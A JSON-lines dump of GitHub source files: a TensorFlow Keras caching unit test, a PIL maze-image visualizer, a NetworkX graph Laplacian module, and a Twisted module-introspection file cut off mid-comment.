+{"seq_id":"15425450652","text":"import collections\nimport contextlib\nimport multiprocessing.dummy\nimport pickle\nimport time\nimport timeit\n\nimport numpy as np\n\nfrom tensorflow.python.keras.utils import layer_utils\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.training.tracking import tracking\n\n\n_PICKLEABLE_CALL_COUNT = collections.Counter()\n\n\nclass MyPickleableObject(tracking.AutoTrackable):\n  \"\"\"Needed for InterfaceTests.test_property_cache_serialization.\n\n  This class must be at the top level. This is a constraint of pickle,\n  unrelated to `cached_per_instance`.\n  \"\"\"\n\n  @property\n  @layer_utils.cached_per_instance\n  def my_id(self):\n    _PICKLEABLE_CALL_COUNT[self] += 1\n    return id(self)\n\n\nclass LayerUtilsTest(test.TestCase):\n\n  def test_property_cache(self):\n    test_counter = collections.Counter()\n\n    class MyObject(tracking.AutoTrackable):\n\n      def __init__(self):\n        super(MyObject, self).__init__()\n        self._frozen = True\n\n      def __setattr__(self, key, value):\n        \"\"\"Enforce that cache does not set attribute on MyObject.\"\"\"\n        if getattr(self, \"_frozen\", False):\n          raise ValueError(\"Cannot mutate when frozen.\")\n        return super(MyObject, self).__setattr__(key, value)\n\n      @property\n      @layer_utils.cached_per_instance\n      def test_property(self):\n        test_counter[id(self)] += 1\n        return id(self)\n\n    first_object = MyObject()\n    second_object = MyObject()\n\n    # Make sure the objects return the correct values\n    self.assertEqual(first_object.test_property, id(first_object))\n    self.assertEqual(second_object.test_property, id(second_object))\n\n    # Make sure the cache does not share across objects\n    self.assertNotEqual(first_object.test_property, second_object.test_property)\n\n    # Check again (Now the values should be cached.)\n    self.assertEqual(first_object.test_property, id(first_object))\n    self.assertEqual(second_object.test_property, id(second_object))\n\n    # Count the function calls to make sure the cache is actually being used.\n    self.assertAllEqual(tuple(test_counter.values()), (1, 1))\n\n  def test_property_cache_threaded(self):\n    call_count = collections.Counter()\n\n    class MyObject(tracking.AutoTrackable):\n\n      @property\n      @layer_utils.cached_per_instance\n      def test_property(self):\n        # Random sleeps to ensure that the execution thread changes\n        # mid-computation.\n        call_count[\"test_property\"] += 1\n        time.sleep(np.random.random() + 1.)\n\n        # Use a RandomState which is seeded off the instance's id (the mod is\n        # because numpy limits the range of seeds) to ensure that an instance\n        # returns the same value in different threads, but different instances\n        # return different values.\n        return int(np.random.RandomState(id(self) % (2 ** 31)).randint(2 ** 16))\n\n      def get_test_property(self, _):\n        \"\"\"Function provided to .map for threading test.\"\"\"\n        return self.test_property\n\n    # Test that multiple threads return the same value. This requires that\n    # the underlying function is repeatable, as cached_property makes no attempt\n    # to prioritize the first call.\n    test_obj = MyObject()\n    with contextlib.closing(multiprocessing.dummy.Pool(32)) as pool:\n      # Intentionally make a large pool (even when there are only a small number\n      # of cpus) to ensure that the runtime switches threads.\n      results = pool.map(test_obj.get_test_property, range(64))\n    self.assertEqual(len(set(results)), 1)\n\n    # Make sure we actually are testing threaded behavior.\n    self.assertGreater(call_count[\"test_property\"], 1)\n\n    # Make sure new threads still cache hit.\n    with contextlib.closing(multiprocessing.dummy.Pool(2)) as pool:\n      start_time = timeit.default_timer()  # Don't time pool instantiation.\n      results = pool.map(test_obj.get_test_property, range(4))\n    total_time = timeit.default_timer() - start_time\n\n    # Note(taylorrobie): The reason that it is safe to time a unit test is that\n    #                    a cache hit will be << 1 second, and a cache miss is\n    #                    guaranteed to be >= 1 second. Empirically confirmed by\n    #                    100,000 runs with no flakes.\n    self.assertLess(total_time, 0.95)\n\n  def test_property_cache_serialization(self):\n    # Reset call count. .keys() must be wrapped in a list, because otherwise we\n    # would mutate the iterator while iterating.\n    for k in list(_PICKLEABLE_CALL_COUNT.keys()):\n      _PICKLEABLE_CALL_COUNT.pop(k)\n\n    first_instance = MyPickleableObject()\n    self.assertEqual(id(first_instance), first_instance.my_id)\n\n    # Test that we can pickle and un-pickle\n    second_instance = pickle.loads(pickle.dumps(first_instance))\n\n    self.assertEqual(id(second_instance), second_instance.my_id)\n    self.assertNotEqual(first_instance.my_id, second_instance.my_id)\n\n    # Make sure de-serialized object uses the cache.\n    self.assertEqual(_PICKLEABLE_CALL_COUNT[second_instance], 1)\n\n    # Make sure the decorator cache is not being serialized with the object.\n    expected_size = len(pickle.dumps(second_instance))\n    for _ in range(5):\n      # Add some more entries to the cache.\n      _ = MyPickleableObject().my_id\n    self.assertEqual(len(_PICKLEABLE_CALL_COUNT), 7)\n    size_check_instance = MyPickleableObject()\n    _ = size_check_instance.my_id\n    self.assertEqual(expected_size, len(pickle.dumps(size_check_instance)))\n\n\nif __name__ == \"__main__\":\n  test.main()\n","repo_name":"graphcore/tensorflow","sub_path":"tensorflow/python/keras/utils/layer_utils_test.py","file_name":"layer_utils_test.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"3"}
+{"seq_id":"25147099808","text":"from enum import Enum\nfrom PIL import Image, ImageDraw\nfrom tkinter import filedialog\nimport sys\n\nclass TileType(Enum):\n    \"\"\"\n    An enumerator to make tile types easier to read.\n    \"\"\"\n    \n    UNKNOWN = \"0\"\n    WALL = \"X\"\n    EMPTY = \"-\"\n    START = \"S\"\n    END = \"E\"\n\nclass Tile:\n    \"\"\"\n    The tile contains the character data, as well as a static method to convert a character to TileType.\n    \"\"\"\n    def __init__(self, type: TileType) -> None:\n        self.type = type\n    \n    def __str__(self) -> str:\n        return self.type.value\n    \n    @staticmethod\n    def getTileType(tileChar: str) -> TileType:\n        \"\"\"\n        Converts the character provided to a TileType\n        \"\"\"\n        tileChar = \"-\" if tileChar == \" \" else tileChar\n        if tileChar in [\"X\", \"-\", \"S\", \"E\"]:\n            return TileType(tileChar)\n        return TileType.UNKNOWN\n        \n\nclass Maze:\n    \"\"\"\n    The maze will read in the maze data from a file or string.\n    It will then colour an n by n area of an image with the colour corresponding tile colour.\n    Finally, ask the user where they want to save the image. \n    \"\"\"\n    mazeTiles = []\n    tileSizePx = 8\n\n    def __init__(self) -> None:\n        pass\n        \n    def readMazeFromFile(self, filePath: str) -> None:\n        \"\"\"\n        Read in the maze data from the file.\n        \"\"\"\n        data = \"\"\n        print(f\"Opening file {filePath}\")\n        with open(filePath, \"r\") as file:\n            data = file.read()\n        \n        self.readMazeFromString(data)\n\n    def readMazeFromString(self, maze: str) -> None:\n        \"\"\"\n        Create and populate a 2D array of tiles from the inputted string.\n        \"\"\"\n        self.mazeTiles = []\n        splStr = maze.split(\"\\n\")\n        for i, row in enumerate(splStr):\n            print(f\"Reading line {i}\")\n            self.mazeTiles.append([])\n            for c in row:\n                self.mazeTiles[-1].append(Tile(Tile.getTileType(c)))\n\n        self.mazeWidth = len(self.mazeTiles[0])\n        self.mazeHeight = len(self.mazeTiles)\n\n\n    def drawMaze(self) -> None:\n        \"\"\"\n        For each tile, colour an n by n area of the image by the corresponding colour.\n        \"\"\"\n        size = (self.mazeWidth * self.tileSizePx, self.mazeHeight * self.tileSizePx)\n        im = Image.new(\"RGB\", size)\n\n        imgDraw = ImageDraw.Draw(im)\n        for y, row in enumerate(self.mazeTiles):\n            print(f\"Writing row {y+1} out of {len(self.mazeTiles)}\")\n            for x, tile in enumerate(row):\n                area = [(x*self.tileSizePx, y*self.tileSizePx), ((x+1)*self.tileSizePx - 1, (y+1)*self.tileSizePx - 1)]\n                fill = \"#f00\"\n                if tile.type == TileType.WALL:\n                    fill = \"#000\"\n                elif tile.type == TileType.EMPTY:\n                    fill = \"#fff\"\n                elif tile.type == TileType.START:\n                    fill = \"#0f0\"\n                elif tile.type == TileType.END:\n                    fill = \"#00f\"\n\n                imgDraw.rectangle(area, fill)\n        \n        im.show()\n\n        self.im = im\n\n\n        pass\n\n    def saveImage(self, defaultName: str) -> None:\n        \"\"\"\n        Prompt the user to save the image somewhere on disk.\n        \"\"\"\n        f = filedialog.asksaveasfile(\n            initialfile=defaultName,\n            mode=\"wb\",\n            confirmoverwrite=True,\n            filetypes=(\n                (\"Portable Network Graphics (*.png)\", \"*.png\"),\n                (\"All Files (*.*)\", \"*.*\")\n            ),\n            defaultextension=\".png\"\n        )\n        if not f:\n            return\n        filename = f.name\n        extension = filename.split(\".\")[-1]\n        self.im.save(filename, extension)\n        f.close()\n\n\n    def outputMazeToConsole(self) -> None:\n        \"\"\"\n        Output the maze to console.\n        \"\"\"\n        for row in self.mazeTiles:\n            for tile in row:\n                print(str(tile), end=\"\")\n            print(\"\\n\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) >= 2:\n        fileName = sys.argv[1]\n    else:\n        print(\"Select the maze file from the dialog box\")\n        fileName = filedialog.askopenfilename(\n            filetypes = (\n                (\"Text files (*.txt)\", \"*.txt\"),\n                (\"All files (*.*)\", \"*.*\")\n            ),\n            defaultextension=\".txt\"\n        )\n\n    maze = Maze()\n    maze.readMazeFromFile(fileName)\n    maze.drawMaze()\n\n    if len(sys.argv) >= 3:\n        if sys.argv[2] == \"--nosave\":\n            exit(0)\n\n    wishToSave = input(\"Do you want to save this image [y/n]: \").lower() == \"y\"\n    if wishToSave:\n        name = fileName.split(\"/\")[-1]\n        maze.saveImage(name)\n","repo_name":"Datskalf/MazeVisualizer","sub_path":"Visualizer.py","file_name":"Visualizer.py","file_ext":"py","file_size_in_byte":4671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19236290172","text":"import networkx as nx\n__author__ = \"\\n\".join(['Aric Hagberg (hagberg@lanl.gov)',\n                        'Pieter Swart (swart@lanl.gov)',\n                        'Dan Schult(dschult@colgate.edu)'])\n\n__all__ = ['laplacian', 'generalized_laplacian','normalized_laplacian',\n           'laplacian_matrix', 'generalized_laplacian','normalized_laplacian',\n           ]\n\n\ndef laplacian_matrix(G, nodelist=None, weight='weight'):\n    \"\"\"Return the Laplacian matrix of G.\n\n    The graph Laplacian is the matrix L = D - A, where\n    A is the adjacency matrix and D is the diagonal matrix of node degrees.\n\n    Parameters\n    ----------\n    G : graph\n       A NetworkX graph \n\n    nodelist : list, optional       \n       The rows and columns are ordered according to the nodes in nodelist.\n       If nodelist is None, then the ordering is produced by G.nodes().\n\n    weight : string or None, optional (default='weight')\n       The edge data key used to compute each value in the matrix.\n       If None, then each edge has weight 1.\n\n    Returns\n    -------\n    L : NumPy array\n      Laplacian of G.\n\n    Notes\n    -----\n    For MultiGraph/MultiDiGraph, the edges weights are summed.\n    See to_numpy_matrix for other options.\n\n    See Also\n    --------\n    to_numpy_matrix\n    normalized_laplacian\n    \"\"\"\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\n          \"laplacian() requires numpy: http://scipy.org/ \")\n    # this isn't the most efficient way to do this...\n    if G.is_multigraph():\n        A=np.asarray(nx.to_numpy_matrix(G,nodelist=nodelist,weight=weight))\n        I=np.identity(A.shape[0])\n        D=I*np.sum(A,axis=1)\n        L=D-A\n        return L\n    # Graph or DiGraph, this is faster than above \n    if nodelist is None:\n        nodelist=G.nodes()\n    n=len(nodelist)\n    index=dict( (n,i) for i,n in enumerate(nodelist) )\n    L = np.zeros((n,n))\n    for ui,u in enumerate(nodelist):\n        totalwt=0.0\n        for v,d in G[u].items():\n            try:\n                vi=index[v]\n            except KeyError:\n                continue\n            wt=d.get(weight,1)\n            L[ui,vi]= -wt\n            totalwt+=wt\n        L[ui,ui]= totalwt\n    return L\n\n\ndef normalized_laplacian_matrix(G, nodelist=None, weight='weight'):\n    r\"\"\"Return the normalized Laplacian matrix of G.\n\n    The normalized graph Laplacian is the matrix\n    \n    .. math::\n        \n        NL = D^{-1/2} L D^{-1/2}\n\n    where `L` is the graph Laplacian and `D` is the diagonal matrix of\n    node degrees.\n\n    Parameters\n    ----------\n    G : graph\n       A NetworkX graph \n\n    nodelist : list, optional       \n       The rows and columns are ordered according to the nodes in nodelist.\n       If nodelist is None, then the ordering is produced by G.nodes().\n\n    weight : string or None, optional (default='weight')\n       The edge data key used to compute each value in the matrix.\n       If None, then each edge has weight 1.\n\n    Returns\n    -------\n    L : NumPy array\n      Normalized Laplacian of G.\n\n    Notes\n    -----\n    For MultiGraph/MultiDiGraph, the edges weights are summed.\n    See to_numpy_matrix for other options.\n\n    See Also\n    --------\n    laplacian\n\n    References\n    ----------\n    .. [1] Fan Chung-Graham, Spectral Graph Theory, \n       CBMS Regional Conference Series in Mathematics, Number 92, 1997.\n    \"\"\"\n    # FIXME: this isn't the most efficient way to do this...\n    try:\n        import numpy as np\n    except ImportError:\n        raise ImportError(\n          \"normalized_laplacian() requires numpy: http://scipy.org/ \")\n    if G.is_multigraph():\n        A=np.asarray(nx.to_numpy_matrix(G,nodelist=nodelist,weight=weight))\n        d=np.sum(A,axis=1)\n        n=A.shape[0]\n        I=np.identity(n)\n        L=I*d-A\n        osd=np.zeros(n)\n        for i in range(n):\n            if d[i]>0: osd[i]=np.sqrt(1.0/d[i])\n        T=I*osd\n        L=np.dot(T,np.dot(L,T))\n        return L\n    # Graph or DiGraph, this is faster than above \n    if nodelist is None:\n        nodelist = G.nodes()\n    n=len(nodelist)\n    L = np.zeros((n,n))\n    deg = np.zeros((n,n))\n    index=dict( (n,i) for i,n in enumerate(nodelist) )\n    for ui,u in enumerate(nodelist):\n        totalwt=0.0\n        for v,data in G[u].items():\n            try:\n                vi=index[v]\n            except KeyError:\n                continue\n            wt=data.get(weight,1)\n            L[ui,vi]= -wt\n            totalwt+=wt\n        L[ui,ui]= totalwt\n        if totalwt>0.0:\n            deg[ui,ui]= np.sqrt(1.0/totalwt)\n    L=np.dot(deg,np.dot(L,deg))\n    return L\ncombinatorial_laplacian=laplacian_matrix\ngeneralized_laplacian=normalized_laplacian_matrix\nnormalized_laplacian=normalized_laplacian_matrix\nlaplacian=laplacian_matrix\n\n\n# fixture for nose tests\ndef setup_module(module):\n    from nose import SkipTest\n    try:\n        import numpy\n    except:\n        raise SkipTest(\"NumPy not available\")\n","repo_name":"miniBloq/v0.83","sub_path":"source/Bin/Minibloq/lang/PPythonWin/v2.7.5.1/App/Lib/site-packages/networkx/linalg/laplacianmatrix.py","file_name":"laplacianmatrix.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":82,"dataset":"github-code","pt":"3"}
+{"seq_id":"31298532713","text":"from __future__ import division, absolute_import, print_function\n\n__metaclass__ = type\n\n# let's try to keep path imports to a minimum...\nfrom os.path import dirname, split as splitpath\n\nimport sys\nimport inspect\nimport warnings\nimport zipimport\n\nfrom zope.interface import Interface, implementer\n\nfrom twisted.python.compat import nativeString\nfrom twisted.python.components import registerAdapter\nfrom twisted.python.filepath import FilePath, UnlistableError\nfrom twisted.python.reflect import namedAny\nfrom twisted.python.zippath import ZipArchive\n\n\n_nothing = object()\n\nPYTHON_EXTENSIONS = ['.py']\nOPTIMIZED_MODE = __doc__ is None\nif OPTIMIZED_MODE:\n    PYTHON_EXTENSIONS.append('.pyo')\nelse:\n    PYTHON_EXTENSIONS.append('.pyc')\n\ndef _isPythonIdentifier(string):\n    \"\"\"\n    cheezy fake test for proper identifier-ness.\n\n    @param string: a L{str} which might or might not be a valid python\n        identifier.\n    @return: True or False\n    \"\"\"\n    textString = nativeString(string)\n    return (' ' not in textString and\n            '.' not in textString and\n            '-' not in textString)\n\n\n\ndef _isPackagePath(fpath):\n    # Determine if a FilePath-like object is a Python package.  TODO: deal with\n    # __init__module.(so|dll|pyd)?\n    extless = fpath.splitext()[0]\n    basend = splitpath(extless)[1]\n    return basend == \"__init__\"\n\n\n\nclass _ModuleIteratorHelper:\n    \"\"\"\n    This mixin provides common behavior between python module and path entries,\n    since the mechanism for searching sys.path and __path__ attributes is\n    remarkably similar.\n    \"\"\"\n\n    def iterModules(self):\n        \"\"\"\n        Loop over the modules present below this entry or package on PYTHONPATH.\n\n        For modules which are not packages, this will yield nothing.\n\n        For packages and path entries, this will only yield modules one level\n        down; i.e. if there is a package a.b.c, iterModules on a will only\n        return a.b.  If you want to descend deeply, use walkModules.\n\n        @return: a generator which yields PythonModule instances that describe\n        modules which can be, or have been, imported.\n        \"\"\"\n        yielded = {}\n        if not self.filePath.exists():\n            return\n\n        for placeToLook in self._packagePaths():\n            try:\n                children = sorted(placeToLook.children())\n            except UnlistableError:\n                continue\n\n            for potentialTopLevel in children:\n                ext = potentialTopLevel.splitext()[1]\n                potentialBasename = potentialTopLevel.basename()[:-len(ext)]\n                if ext in PYTHON_EXTENSIONS:\n                    # TODO: this should be a little choosier about which path entry\n                    # it selects first, and it should do all the .so checking and\n                    # crud\n                    if not _isPythonIdentifier(potentialBasename):\n                        continue\n                    modname = self._subModuleName(potentialBasename)\n                    if modname.split(\".\")[-1] == '__init__':\n                        # This marks the directory as a package so it can't be\n                        # a module.\n                        continue\n                    if modname not in yielded:\n                        yielded[modname] = True\n                        pm = PythonModule(modname, potentialTopLevel, self._getEntry())\n                        assert pm != self\n                        yield pm\n                else:\n                    if (ext or not _isPythonIdentifier(potentialBasename)\n                        or not potentialTopLevel.isdir()):\n                        continue\n                    modname = self._subModuleName(potentialTopLevel.basename())\n                    for ext in PYTHON_EXTENSIONS:\n                        initpy = potentialTopLevel.child(\"__init__\"+ext)\n                        if initpy.exists() and modname not in yielded:\n                            yielded[modname] = True\n                            pm = PythonModule(modname, initpy, self._getEntry())\n                            assert pm != self\n                            yield pm\n                            break\n\n    def walkModules(self, importPackages=False):\n        \"\"\"\n        Similar to L{iterModules}, this yields self, and then every module in my\n        package or entry, and every submodule in each package or entry.\n\n        In other words, this is deep, and L{iterModules} is shallow.\n        \"\"\"\n        yield self\n        for package in self.iterModules():\n            for module in package.walkModules(importPackages=importPackages):\n                yield module\n\n    def _subModuleName(self, mn):\n        \"\"\"\n        This is a hook to provide packages with the ability to specify their names\n        as a prefix to submodules here.\n        \"\"\"\n        return mn\n\n    def _packagePaths(self):\n        \"\"\"\n        Implement in subclasses to specify where to look for modules.\n\n        @return: iterable of FilePath-like objects.\n        \"\"\"\n        raise NotImplementedError()\n\n    def _getEntry(self):\n        \"\"\"\n        Implement in subclasses to specify what path entry submodules will come\n        from.\n\n        @return: a PathEntry instance.\n        \"\"\"\n        raise NotImplementedError()\n\n\n    def __getitem__(self, modname):\n        \"\"\"\n        Retrieve a module from below this path or package.\n\n        @param modname: a str naming a module to be loaded.  For entries, this\n        is a top-level, undotted package name, and for packages it is the name\n        of the module without the package prefix.  For example, if you have a\n        PythonModule representing the 'twisted' package, you could use::\n\n            twistedPackageObj['python']['modules']\n\n        to retrieve this module.\n\n        @raise: KeyError if the module is not found.\n\n        @return: a PythonModule.\n        \"\"\"\n        for module in self.iterModules():\n            if module.name == self._subModuleName(modname):\n                return module\n        raise KeyError(modname)\n\n    def __iter__(self):\n        \"\"\"\n        Implemented to raise NotImplementedError for clarity, so that attempting to\n        loop over this object won't call __getitem__.\n\n        Note: in the future there might be some sensible default for iteration,\n        like 'walkEverything', so this is deliberately untested and undefined\n        behavior.\n        \"\"\"\n        raise NotImplementedError()\n\nclass PythonAttribute:\n    \"\"\"\n    I represent a function, class, or other object that is present.\n\n    @ivar name: the fully-qualified python name of this attribute.\n\n    @ivar onObject: a reference to a PythonModule or other PythonAttribute that\n    is this attribute's logical parent.\n\n    @ivar name: the fully qualified python name of the attribute represented by\n    this class.\n    \"\"\"\n    def __init__(self, name, onObject, loaded, pythonValue):\n        \"\"\"\n        Create a PythonAttribute.  This is a private constructor.  Do not construct\n        me directly, use PythonModule.iterAttributes.\n\n        @param name: the FQPN\n        @param onObject: see ivar\n        @param loaded: always True, for now\n        @param pythonValue: the value of the attribute we're pointing to.\n        \"\"\"\n        self.name = name\n        self.onObject = onObject\n        self._loaded = loaded\n        self.pythonValue = pythonValue\n\n    def __repr__(self):\n        return 'PythonAttribute<%r>'%(self.name,)\n\n    def isLoaded(self):\n        \"\"\"\n        Return a boolean describing whether the attribute this describes has\n        actually been loaded into memory by importing its module.\n\n        Note: this currently always returns true; there is no Python parser\n        support in this module yet.\n        \"\"\"\n        return self._loaded\n\n    def load(self, default=_nothing):\n        \"\"\"\n        Load the value associated with this attribute.\n\n        @return: an arbitrary Python object, or 'default' if there is an error\n        loading it.\n        \"\"\"\n        return self.pythonValue\n\n    def iterAttributes(self):\n        for name, val in inspect.getmembers(self.load()):\n            yield PythonAttribute(self.name+'.'+name, self, True, val)\n\nclass PythonModule(_ModuleIteratorHelper):\n    \"\"\"\n    Representation of a module which could be imported from sys.path.\n\n    @ivar name: the fully qualified python name of this module.\n\n    @ivar filePath: a FilePath-like object which points to the location of this\n    module.\n\n    @ivar pathEntry: a L{PathEntry} instance which this module was located\n    from.\n    \"\"\"\n\n    def __init__(self, name, filePath, pathEntry):\n        \"\"\"\n        Create a PythonModule.  Do not construct this directly, instead inspect a\n        PythonPath or other PythonModule instances.\n\n        @param name: see ivar\n        @param filePath: see ivar\n        @param pathEntry: see ivar\n        \"\"\"\n        _name = nativeString(name)\n        assert not _name.endswith(\".__init__\")\n        self.name = _name\n        self.filePath = filePath\n        self.parentPath = filePath.parent()\n        self.pathEntry = pathEntry\n\n    def _getEntry(self):\n        return self.pathEntry\n\n    def __repr__(self):\n        \"\"\"\n        Return a string representation including the module name.\n        \"\"\"\n        return 'PythonModule<%r>' % (self.name,)\n\n\n    def isLoaded(self):\n        \"\"\"\n        Determine if the module is loaded into sys.modules.\n\n        @return: a boolean: true if loaded, false if not.\n        \"\"\"\n        return self.pathEntry.pythonPath.moduleDict.get(self.name) is not None\n\n\n    def iterAttributes(self):\n        \"\"\"\n        List all the attributes defined in this module.\n\n        Note: Future work is planned here to make it possible to list python\n        attributes on a module without loading the module by inspecting ASTs or\n        bytecode, but currently any iteration of PythonModule objects insists\n        they must be loaded, and will use inspect.getmodule.\n\n        @raise NotImplementedError: if this module is not loaded.\n\n        @return: a generator yielding PythonAttribute instances describing the\n        attributes of this module.\n        \"\"\"\n        if not self.isLoaded():\n            raise NotImplementedError(\n                \"You can't load attributes from non-loaded modules yet.\")\n        for name, val in inspect.getmembers(self.load()):\n            yield PythonAttribute(self.name+'.'+name, self, True, val)\n\n    def isPackage(self):\n        \"\"\"\n        Returns true if this module is also a package, and might yield something\n        from iterModules.\n        \"\"\"\n        return _isPackagePath(self.filePath)\n\n    def load(self, default=_nothing):\n        \"\"\"\n        Load this module.\n\n        @param default: if specified, the value to return in case of an error.\n\n        @return: a genuine python module.\n\n        @raise: any type of exception.  Importing modules is a risky business;\n        the erorrs of any code run at module scope may be raised from here, as\n        well as ImportError if something bizarre happened to the system path\n        between the discovery of this PythonModule object and the attempt to\n        import it.  If you specify a default, the error will be swallowed\n        entirely, and not logged.\n\n        @rtype: types.ModuleType.\n        \"\"\"\n        try:\n            return self.pathEntry.pythonPath.moduleLoader(self.name)\n        except:                 # this needs more thought...\n            if default is not _nothing:\n                return default\n            raise\n\n    def __eq__(self, other):\n        \"\"\"\n        PythonModules with the same name are equal.\n        \"\"\"\n        if not isinstance(other, PythonModule):\n            return False\n        return other.name == self.name\n\n    def __ne__(self, other):\n        \"\"\"\n        PythonModules with different names are not equal.\n        \"\"\"\n        if not isinstance(other, PythonModule):\n            return True\n        return other.name != self.name\n\n    def walkModules(self, importPackages=False):\n        if importPackages and self.isPackage():\n            self.load()\n        return super(PythonModule, self).walkModules(importPackages=importPackages)\n\n    def _subModuleName(self, mn):\n        \"\"\"\n        submodules of this module are prefixed with our name.\n        \"\"\"\n        return self.name + '.' + mn\n\n    def _packagePaths(self):\n        \"\"\"\n        Yield a sequence of FilePath-like objects which represent path segments.\n        \"\"\"\n        if not self.isPackage():\n            return\n        if self.isLoaded():\n            load = self.load()\n            if hasattr(load, '__path__'):\n                for fn in load.__path__:\n                    if fn == self.parentPath.path:\n                        # this should _really_ exist.\n                        assert self.parentPath.exists()\n                        yield self.parentPath\n                    else:\n                        smp = self.pathEntry.pythonPath._smartPath(fn)\n                        if smp.exists():\n                            yield smp\n        else:\n            yield self.parentPath\n\n\nclass PathEntry(_ModuleIteratorHelper):\n    \"\"\"\n    I am a proxy for a single entry on sys.path.\n\n    @ivar filePath: a FilePath-like object pointing at the filesystem location\n    or archive file where this path entry is stored.\n\n    @ivar pythonPath: a PythonPath instance.\n    \"\"\"\n    def __init__(self, filePath, pythonPath):\n        \"\"\"\n        Create a PathEntry.  This is a private constructor.\n        \"\"\"\n        self.filePath = filePath\n        self.pythonPath = pythonPath\n\n    def _getEntry(self):\n        return self\n\n    def __repr__(self):\n        return 'PathEntry<%r>' % (self.filePath,)\n\n    def _packagePaths(self):\n        yield self.filePath\n\nclass IPathImportMapper(Interface):\n    \"\"\"\n    This is an internal interface, used to map importers to factories for\n    FilePath-like objects.\n    \"\"\"\n    def mapPath(self, pathLikeString):\n        \"\"\"\n        Return a FilePath-like object.\n\n        @param pathLikeString: a path-like string, like one that might be\n        passed to an import hook.\n\n        @return: a L{FilePath}, or something like it (currently only a\n        L{ZipPath}, but more might be added later).\n        \"\"\"\n\n\n\n@implementer(IPathImportMapper)\nclass _DefaultMapImpl:\n    \"\"\" Wrapper for the default importer, i.e. None.  \"\"\"\n    def mapPath(self, fsPathString):\n        return FilePath(fsPathString)\n_theDefaultMapper = _DefaultMapImpl()\n\n\n@implementer(IPathImportMapper)\nclass _ZipMapImpl:\n    \"\"\" IPathImportMapper implementation for zipimport.ZipImporter.  \"\"\"\n    def __init__(self, importer):\n        self.importer = importer\n\n    def mapPath(self, fsPathString):\n        \"\"\"\n        Map the given FS path to a ZipPath, by looking at the ZipImporter's\n        \"archive\" attribute and using it as our ZipArchive root, then walking\n        down into the archive from there.\n\n        @return: a L{zippath.ZipPath} or L{zippath.ZipArchive} instance.\n        \"\"\"\n        za = ZipArchive(self.importer.archive)\n        myPath = FilePath(self.importer.archive)\n        itsPath = FilePath(fsPathString)\n        if myPath == itsPath:\n            return za\n        # This is NOT a general-purpose rule for sys.path or __file__:\n        # zipimport specifically uses regular OS path syntax in its\n        # pathnames, even though zip files specify that slashes are always\n        # the separator, regardless of platform.\n        segs = itsPath.segmentsFrom(myPath)\n        zp = za\n        for seg in segs:\n            zp = zp.child(seg)\n        return zp\n\nregisterAdapter(_ZipMapImpl, zipimport.zipimporter, IPathImportMapper)\n\n\n\ndef _defaultSysPathFactory():\n    \"\"\"\n    Provide the default behavior of PythonPath's sys.path factory, which is to\n    return the current value of sys.path.\n\n    @return: L{sys.path}\n    \"\"\"\n    return sys.path\n\n\nclass PythonPath:\n    \"\"\"\n    I represent the very top of the Python object-space, the module list in\n    C{sys.path} and the modules list in C{sys.modules}.\n\n    @ivar _sysPath: A sequence of strings like C{sys.path}.  This attribute is\n    read-only.\n\n    @ivar sysPath: The current value of the module search path list.\n    @type sysPath: C{list}\n\n    @ivar moduleDict: A dictionary mapping string module names to module\n    objects, like C{sys.modules}.\n\n    @ivar sysPathHooks: A list of PEP-302 path hooks, like C{sys.path_hooks}.\n\n    @ivar moduleLoader: A function that takes a fully-qualified python name and\n    returns a module, like L{twisted.python.reflect.namedAny}.\n    \"\"\"\n\n    def __init__(self,\n                 sysPath=None,\n                 moduleDict=sys.modules,\n                 sysPathHooks=sys.path_hooks,\n                 importerCache=sys.path_importer_cache,\n                 moduleLoader=namedAny,\n                 sysPathFactory=None):\n        \"\"\"\n        Create a PythonPath.  You almost certainly want to use\n        modules.theSystemPath, or its aliased methods, rather than creating a\n        new instance yourself, though.\n\n        All parameters are optional, and if unspecified, will use 'system'\n        equivalents that makes this PythonPath like the global L{theSystemPath}\n        instance.\n\n        @param sysPath: a sys.path-like list to use for this PythonPath, to\n        specify where to load modules from.\n\n        @param moduleDict: a sys.modules-like dictionary to use for keeping\n        track of what modules this PythonPath has loaded.\n\n        @param sysPathHooks: sys.path_hooks-like list of PEP-302 path hooks to\n        be used for this PythonPath, to determie which importers should be\n        used.\n\n        @param importerCache: a sys.path_importer_cache-like list of PEP-302\n        importers.  This will be used in conjunction with the given\n        sysPathHooks.\n\n        @param moduleLoader: a module loader function which takes a string and\n        returns a module.  That is to say, it is like L{namedAny} - *not* like\n        L{__import__}.\n\n        @param sysPathFactory: a 0-argument callable which returns the current\n        value of a sys.path-like list of strings.  Specify either this, or\n        sysPath, not both.  This alternative interface is provided because the\n        way the Python import mechanism works, you can re-bind the 'sys.path'\n        name and that is what is used for current imports, so it must be a\n        factory rather than a value to deal with modification by rebinding\n        rather than modification by mutation.  Note: it is not recommended to\n        rebind sys.path.  Although this mechanism can deal with that, it is a\n        subtle point which some tools that it is easy for tools which interact\n        with sys.path to miss.\n        \"\"\"\n        if sysPath is not None:\n            sysPathFactory = lambda : sysPath\n        elif sysPathFactory is None:\n            sysPathFactory = _defaultSysPathFactory\n        self._sysPathFactory = sysPathFactory\n        self._sysPath = sysPath\n        self.moduleDict = moduleDict\n        self.sysPathHooks = sysPathHooks\n        self.importerCache = importerCache\n        self.moduleLoader = moduleLoader\n\n\n    def _getSysPath(self):\n        \"\"\"\n        Retrieve the current value of the module search path list.\n        \"\"\"\n        return self._sysPathFactory()\n\n    sysPath = property(_getSysPath)\n\n    def _findEntryPathString(self, modobj):\n        \"\"\"\n        Determine where a given Python module object came from by looking at path\n        entries.\n        \"\"\"\n        topPackageObj = modobj\n        while '.' in topPackageObj.__name__:\n            topPackageObj = self.moduleDict['.'.join(\n                    topPackageObj.__name__.split('.')[:-1])]\n        if _isPackagePath(FilePath(topPackageObj.__file__)):\n            # if package 'foo' is on sys.path at /a/b/foo, package 'foo's\n            # __file__ will be /a/b/foo/__init__.py, and we are looking for\n            # /a/b here, the path-entry; so go up two steps.\n            rval = dirname(dirname(topPackageObj.__file__))\n        else:\n            # the module is completely top-level, not within any packages.  The\n            # path entry it's on is just its dirname.\n            rval = dirname(topPackageObj.__file__)\n\n        # There are probably some awful tricks that an importer could pull\n        # which would break this, so let's just 